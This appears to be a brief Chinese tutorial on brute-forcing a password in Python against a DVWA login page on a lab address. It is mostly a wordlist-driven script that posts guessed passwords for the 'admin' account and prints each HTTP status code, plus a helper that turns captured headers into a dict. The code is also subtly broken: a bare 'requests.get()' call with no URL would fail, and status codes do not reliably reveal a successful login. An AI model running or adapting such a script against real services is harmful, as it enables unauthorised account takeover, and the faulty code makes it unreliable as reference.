Python实现简单密码爆破

 实现包的转化，便于密码爆破应用

headers='''Host: 192.168.1.2
Content-Length: 53
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.2
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.2/dvwa/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=esp05hjet9iulflp7jnc1b98s3
Connection: close'''

lines = headers.split('\n')
for line in lines:
    print('\''+line.replace(': ','\':\'')+'\',')

简陋密码爆破

import requests

mm=requests.get()
f=open(r'C:\Users\Administrator\Desktop\ceshi.txt','r')
pwds= f.readlines()

for pwd in pwds:

    url="http://192.168.1.2/dvwa/login.php"

    headers={
    'Host':'192.168.1.2',
    'Content-Length':'53',
    'Cache-Control':'max-age=0',
    'Upgrade-Insecure-Requests':'1',
    'Origin':'http://192.168.1.2',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Referer':'http://192.168.1.2/dvwa/login.php',
    'Accept-Encoding':'gzip, deflate',
    'Accept-Language':'zh-CN,zh;q=0.9',
    'Cookie':'security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=esp05hjet9iulflp7jnc1b98s3',
    'Connection':'close',
    }

    req = requests.post(url=url,headers=headers,data={'username':"admin","password":pwd[0:-1],"login":"login"})
    # pwd[0:-1]表示第一个到倒数第二个字符,切片为左闭右开原则，所以不包含倒数第一个字符
    print(pwd[0:-1],'\t',req.status_code)

通过返回的状态码判断是否登录成功